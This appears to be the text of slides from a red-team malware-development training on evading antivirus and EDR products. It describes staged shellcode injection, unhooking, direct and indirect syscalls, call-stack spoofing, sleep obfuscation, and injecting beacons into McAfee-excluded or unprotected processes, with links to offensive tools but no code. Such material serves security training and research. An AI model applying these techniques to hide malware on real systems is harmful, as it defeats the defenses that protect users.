» Allocated chunks of Read+Write memory in that reserved pool, 4KB each

» Written shellcode in chunks (could be randomized)

» Re-protected into Read+Exec

» Overwritten prologue of ntdll!RtlpWow64CtxFromAmd64 with a JMP trampoline to 

shellcode

» Used Direct Syscalls to call out to NtAllocateVirtualMemory, NtWriteVirtualMemory & 

NtCreateThreadEx

» Each consecutive step is heavily delayed with a random pause

» I’ve successfully bypassed aggressively configured CrowdStrike Falcon 

using this technique.

Freestyling with DripLoader

Basic Evasions »

https://web.archive.org/web/20220319032520/https://blog.redbluepurple.io/o
ffensive-research/bypassing-injection-detection

https://github.com/xuanxuan0/DripLoader

https://web.archive.org/web/20220319032520/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection
https://web.archive.org/web/20220319032520/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection
https://github.com/xuanxuan0/DripLoader


Calling WinAPI Safely



» EDRs need extended visibility into activities happening in the system and who caused them.

» Filesystem – monitored by Minifilter drivers

» New Process/Module loaded – via Image Load Kernel Callbacks

» Process/.NET modules/Registry/Kernel object related events – monitored by ETW Ti

» Network – NDIS, Network Filtering drivers, etc.

» What about fine-grained actions not covered by above producers?

» They can’t simply hook kernel-memory callback/IOCTL handlers/Syscall dispatcher

» KPP – Kernel Patch Protection, aka PatchGuard would BSOD the system in minutes!

» So instead they inject their optics (DLLs) into newly spawned processes

» Injected DLL gets positioned before malware has a chance to block/unmap it

» That DLL will adjust _PEB, hook process’ module IAT / Imports, loaded libraries EAT / Exports

» Plenty of trampolines, hooks and detours injected by EDR

» But Microsoft has been long criticising AV/EDR vendors for hooking anything in OS

EDR is Hooking

Calling WinAPI safely »

https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/



» EDR hooks sensitive functions:

» IAT/EAT hijacking, or code trampolines.

» If we restore function’s prologue – we’ll unhook.

» But savvy EDRs can then restore their hooks.

» So we should be unhooking before each invocation. 

» Not the most elegant approach :<

» There are few clever ways for tackling this problem:

» unhook BOF - Modules Refreshing

» UnhookMe - Dynamic Unhooking

» Direct Syscalls

EDR is Hooking

Calling WinAPI safely »

https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/

https://github.com/Cobalt-Strike/unhook-bof
https://github.com/mgeeky/UnhookMe
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/


» GetModuleHandle / LoadLibrary + GetProcAddress

» These are susceptible to AV/EDR monitoring & interception.

» Reflective address resolution: Walking IAT/EAT thunks

» In-Memory or From file on disk

» We load a fresh library copy 

» -> parse its PE headers 

» -> collect Exported function addresses manually

» Example projects manually implementing GetProcAddress:

» UnhookMe

» MemoryModule

» ReflectiveDLLInjection

» DarkLoadLibrary

API Address Resolution

Calling WinAPI safely »

https://github.com/mgeeky/UnhookMe/blob/master/UnhookMe/resolver.h#L590
https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c#L779
https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c#L176
https://github.com/bats3c/DarkLoadLibrary/blob/047a0b0bf1d655470e0c70e247352bba1a748cbc/DarkLoadLibrary/src/pebutils.c#L413


» Example of Dynamic Unhooking approach.

» Before each callout to WinAPI – inspect IAT, EAT, Prologue and restore original bytes.

» We can achieve that by manually parsing PE headers of requested libraries.

» DEMO Time!

» UnhookMe vs API Rohitab Monitor ☺

» Example of Hooking vs. Unhooking battle

» If we’re good with time, WinDBG too

UnhookMe

Calling WinAPI safely »



» Another approach presented by Cylance’s Red Team itself was to Refresh DLL Modules

» Raphael Mudge weaponised it in Cobalt Strike BOF named unhook

» That is not reliable anymore.

» Refreshing works by mimicking Windows loader 

» First we load a replica of each binary (DLL/EXE) from disk

» (1) Then we compare them to the original images in memory

» If the original image differs from replica

» (2) => we overwrite original image’s section with the replica’s section

» That removes all hooks installed within that section.

Modules Refreshing

Calling WinAPI safely »

https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software 
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/white-papers/Universal_Unhooking.pdf

https://www.cobaltstrike.com/blog/pushing-back-on-userland-hooks-with-cobalt-strike/
https://www.youtube.com/watch?v=y6hE0rF99EU
https://github.com/Cobalt-Strike/unhook-bof

https://github.com/Cobalt-Strike/unhook-bof/blob/master/src/refresh.c#L390

https://www.cobaltstrike.com/blog/pushing-back-on-userland-hooks-with-cobalt-strike/
https://www.cobaltstrike.com/blog/pushing-back-on-userland-hooks-with-cobalt-strike/
https://www.cobaltstrike.com/blog/pushing-back-on-userland-hooks-with-cobalt-strike/
https://www.youtube.com/watch?v=y6hE0rF99EU
https://github.com/Cobalt-Strike/unhook-bof


» Avoid EDR hooks by calling native kernel APIs directly.

» (3, 4) Assembly opcode SYSCALL is used by Windows (or int 2E in older ones)

» (5, 6) SYSCALL needs SSDT index, so called „Syscall number”

Direct Syscalls

Calling WinAPI safely »

https://jmpesp.me/malware-analysis-syscalls-example/



» Techniques that extract SSN from code – BAD. Techniques based on Sorting / memory structures – GOOD.

» SysWhispers1 – Checked OS version and selected hardcoded Syscall Number based on that (.ASM, .H files produced)

» Hells Gate – Scanning NTDLL memory for MOV RCX, <syscall> . Unreliable as it parses ASM + detectable approach

» FreshyCalls – Sorting the address of system calls in ascending order using NTDLL in memory. Reliable.

» Very nice implementation in C++17 x64, using no external .ASM file

» SysWhispers2 – based on FreshyCalls, modernised version of SysWhispers1 not requiring OS version.

» Halos Gate – Modification of Hells Gate; extracts SSNs from non-hooked, neighbouring APIs. Just as unreliable.

» Runtime Function Table – all exported functions are collected in Exception Directory. Super reliable.

» By walking Exception Directory entries - we can compute SSNs of each native API

» SysWhispers3 – builds on SysWhispers2, adds support for x86/Wow64

Direct Syscalls

Calling WinAPI safely »
SSN = System Call Number

https://github.com/jthuraisamy/SysWhispers
https://github.com/am0nsec/HellsGate
https://github.com/crummie5/FreshyCalls
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/
https://github.com/jthuraisamy/SysWhispers2
https://blog.sektor7.net/#!res/2021/halosgate.md
https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/
https://github.com/klezVirus/SysWhispers3
https://j00ru.vexillium.org/syscalls/nt/64/


Direct Syscalls

Calling WinAPI safely »

https://twitter.com/mrgretzky/status/1612843998724624388/photo/1

» Syscall numbers sorting is along with the 

Runtime Function Table - most reliable mean to 

collect SSNs.

https://twitter.com/mrgretzky/status/1612843998724624388/photo/1


» @modexp from MDSec* detailed, that there are 3 memory-held internal 

tables containing RVAs of all System Calls:

» Export Address Table (IMAGE_EXPORT_DIRECTORY)

» Runtime Function Table (IMAGE_RUNTIME_FUNCTION_ENTRY)  <== My Favourite!

» Guard CF Function Table (IMAGE_LOAD_CONFIG_DIRECTORY)

» We can use any of these tables to gather System Call addresses, sort them 

in ascending order & count – computing proper SSNs ourselves

» For Direct Syscall methods relying on NTDLL.DLL parsing, we need to 

acquire FRESH/unmodified contents of DLL somehow:

» Read your own fresh copy of NTDLL.DLL from disk

» unreliable, as EDR can intercept API calls & detect suspicious ntdll.dll access

» Create a new process in suspended state, then read processes memory to pull 

NTDLL.DLL from there. Here we assume EDR didn’t yet modify/faked/spoofed that DLL

Direct Syscalls - Details

Calling WinAPI safely »

* https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/



» Detection Signatures are being implemented based on:

1. Syscall HASHES

2. Assembly stub bytes

3. Hashing routines/functions

» Evasion Ideas:

» Implement your own or Modify existing Direct Syscalls harness

» Alter hashing algorithm – simply changing KEY/BitShift/ROL/arithmetic is enough to refresh Hashes

» Insert JUNK instructions into Assembly Stubs so naïve static signatures won’t match any longer

» Or better – use Indirect Syscalls: just find SYSCALL instruction somewhere in NTDLL.DLL and jump there

» General Advices:

» Don’t rely on fresh NTDLL.DLL parsing, don’t load one from process/memory

» Don’t use Direct Syscalls that extract syscall numbers from NTDLL.DLL memory

» Use SORTED-RVAs strategy

» FreshyCalls

» Runtime Function Table

Direct Syscalls – Killing Bit

Calling WinAPI safely » https://github.com/embee-research/Yara
https://github.com/embee-research/APIHashReplace 

https://github.com/embee-research/Yara
https://github.com/embee-research/APIHashReplace


Call Stack Obfuscation



» As soon as we invoke suspicious API, EDR might perform some light correlation checks.

» NtOpenProcess, NtCreateThreadEx, NtAllocateVirtualMemory, etc.

» What EDR might inspect:

» Process & Thread that invoked that API

» Parent-Child hierarchy of callee process

» Whether invoking Thread was started from file-backed memory (Thread’s start address & Get-InjectedThread)

» Whether there is a Function Frame in invoking Thread’s Call Stack that links back to injected, suspicious memory

» If there’s a suspicious injected memory, visible from thread’s Call Stack

» EDR might scan that memory & unveil our Malwarezzz :<

» So we’ll Spoof it out.

» To masquerade our malware’s code allocations.

Problem Analysis

Call Stack Obfuscation »

https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/


» First publicly published & simplest approach – blatantly overwrite function’s return address with 0

» That will terminate call stack’s unwinding algorithm

» Unless EDR implements complete, complex call stack unwinding – examination based on DbgHelp!StackWalk64 will fail

» If EDR implements that algorithm, it should be able to disclose our Malware.

» Implement custom API resolver (similar to GetProcAddress)

» => before calling out to suspicious functions, overwrite RetAddr := 0

» When system API returns, restore own RetAddr. This way we can hide our API calls.

Return Address overwrite

Call Stack Obfuscation »

1
2
3

4

https://github.com/mgeeky/ThreadStackSpoofer
https://docs.microsoft.com/en-us/windows/win32/api/dbghelp/nf-dbghelp-stackwalk64


» The True Call Stack Spoofing requires mimicking ntdll!RtlUnwind 

» -> which in turn is a quite convoluted (600+ lines long implementation). 

» Some have that already implemented. Game Hacking community had it 4 years earlier ☺

» Game Hackers don’t share their TTPs cause they earn a lot of money on Fortnite Cheats and others & they compete with each other

» William Burgess was first to publicly disclose a True Call Stack Spoofer

Spoofing

Call Stack Obfuscation »

Not Spoofed Spoofed

https://github.com/mgeeky/ThreadStackSpoofer#actually-this-is-not-yet-a-true-stack-spoofing
https://vimeo.com/581861665
https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html
https://labs.withsecure.com/blog/spoofing-call-stacks-to-confuse-edrs
https://github.com/countercept/CallStackSpoofer


Other Exotic Evasions



» Sometimes, the best AV/EDR evasion is lurking out there in local log files.

» Here, McAfee AV tells us nicely which processes are excluded from scanning

» C:\ProgramData\McAfee\Endpoint Security\Logs\AdaptiveThreatProtection_Activity.log 

» Now, knowing that conhost.exe is excluded from scanning process – we can inject our Malware there.

» Nice trick for Internal Red Teams to kinda bend the rules ☺

AV Specific Evasions

Other exotic evasions »



» Also, AV aren’t typically self-defending against process injection their GUI processes.

» So after a number of tries, we would end up knowing fcnm.exe (McAfee process) is not protected

» So we can set inject our Beacons there.

» That way, McAfee is not a problem for our Malware anymore ☺

AV Specific Evasions

Other exotic evasions »



» ROP-Styled Sleep Obfuscations

» Ekko & FOLIAGE – Implementation of Nighthawk’s attempt to obfuscate while sleeping using Gargoyle-styled CreateTimerQueueTimer sleeping

» These set up _CONTEXT in advance so that EIP/RIP points to Native API (like VirtualProtect)

» And then they schedule APCs with NtContinue to jump to that requested API 

Sleep Obfuscation

Other exotic evasions »

https://offensivecraft.wordpress.com/2022/11/29/memory-hiding-technique-series-ekko-the-basics/

https://github.com/Cracked5pider/Ekko
https://github.com/y11en/FOLIAGE
https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html
https://github.com/JLospinoso/gargoyle
https://offensivecraft.wordpress.com/2022/11/29/memory-hiding-technique-series-ekko-the-basics/


» Thousand ways to CreateProcess 

» alternative process execution techniques, can contribute to evasion potential

» https://github.com/daem0nc0re/TangledWinExec

» Indirectly loading DLLs through a Work Item:

» We can load DLLs by queuing a work item with RtlQueueWorkItem pointing to address of LoadLibraryW and a pointer to the buffer  

» Example implementation by @rad9800: https://github.com/rad9800/misc/blob/main/bypasses/WorkItemLoadLibrary.c 

» HWND -> HANDLE: Acquiring Process’ Handle without OpenProcess

1. Find explorer.exe window handle (HWND) using EnumWindows

2. Then, when you have explorer’s HWND – convert it into process’ handle with GetProcessHandleFromHwnd 

3. Handle obtained can be only from the process running in the context of same user as the invoker. 

» Handle will have all the juiciest privileges set on it:

» PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | SYNCHRONIZE

» Magic happens in win32u!NtUserRegisterUserApiHook

4. Since we have PROCESS_DUP_HANDLE – we can duplicate it into a pseudo handle (-1) and get Full Access Handle (James Forshaw)

Hardcore stuff inbound

Other exotic evasions »

https://github.com/daem0nc0re/TangledWinExec
https://twitter.com/rad9800
https://github.com/rad9800/misc/blob/main/bypasses/WorkItemLoadLibrary.c
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows
https://docs.microsoft.com/en-us/windows/win32/winauto/getprocesshandlefromhwnd
https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html


Outro
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» Let’s stay in touch! 

» Anything I can help with – starting with AV/EDR detection issues you might be experiencing

» Any code/programming/Windows Internals/Malware related questions, problems 

» Additional pair of Malware Development hands that you could use to guide you, help out

» Or just random Red Team, security and related chit chat

» Red Macros Factory: If you’re looking to automate payloads weaponization – check out my Initial Access Framework:

» https://binary-offensive.com/initial-access-framework.html 

» Special offer for Training attendees: 3000 EUR / 10 seats (as compared to 3500 / 5 seats)

» I’m all ears and eager to help you out during your Red Team struggles!

» @mariuszbit

» mb@binary-offensive.com

» mgeeky.tech / https://binary-offensive.com

» If you enjoyed my Training – share your thoughts on Twitter, LinkedIn, among colleagues ☺ 

» That will help me grow & develop more high quality trainings!

» It would be helpful to me if considered filling in after-Training questionnaire: https://forms.gle/Hgq9jsi6KkyUDKnD7 

https://binary-offensive.com/initial-access-framework.html
https://twitter.com/mariuszbit
mailto:mb@binary-offensive.com
https://mgeeky.tech/
https://binary-offensive.com/
https://forms.gle/Hgq9jsi6KkyUDKnD7


Q & A

Questions? ☺ 
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